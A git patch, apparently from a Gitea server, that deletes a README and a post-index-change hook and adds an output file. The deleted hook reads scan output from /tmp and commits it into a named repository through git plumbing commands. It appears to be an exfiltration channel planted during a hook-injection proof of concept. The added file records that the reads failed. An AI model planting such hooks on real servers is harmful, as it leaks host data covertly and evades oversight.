From ac9219dfa573e32cc11f22da3ae1bbf568679529 Mon Sep 17 00:00:00 2001 From: Gitea Date: Sat, 31 Oct 2026 18:26:38 +0000 Subject: [PATCH] out16 --- README.md | 1 - hooks/post-index-change | 9 --------- out16.txt | 3 +++ 3 files changed, 3 insertions(+), 10 deletions(-) delete mode 100644 README.md delete mode 100755 hooks/post-index-change create mode 100644 out16.txt diff --git a/README.md b/README.md deleted file mode 100644 index 00bcb6e..0000000 --- a/README.md +++ /dev/null @@ -1 +0,0 @@ -# test \ No newline at end of file diff --git a/hooks/post-index-change b/hooks/post-index-change deleted file mode 100755 index 0a4757e..0000000 --- a/hooks/post-index-change +++ /dev/null @@ -1,9 +0,0 @@ -#!/bin/bash -cat /tmp/scan172.txt > /tmp/out16.txt 2>&1 -echo '---GITPATH---' >> /tmp/out16.txt -cat /tmp/gitpath.txt >> /tmp/out16.txt 2>&1 -BLOB=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git hash-object -w /tmp/out16.txt` -TREE=`printf "100644 blob %s\tout16.txt\n" "$BLOB" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git mktree` -PARENT=`/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git rev-parse HEAD` -COMMIT=`echo "out16" | /usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git commit-tree $TREE -p $PARENT` -/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan16.git update-ref refs/heads/main $COMMIT diff --git a/out16.txt b/out16.txt new file mode 100644 index 0000000..53090ec --- /dev/null +++ b/out16.txt @@ -0,0 +1,3 @@ +cat: can't open '/tmp/scan172.txt': No such file or directory +---GITPATH--- +cat: can't open '/tmp/gitpath.txt': No such file or directory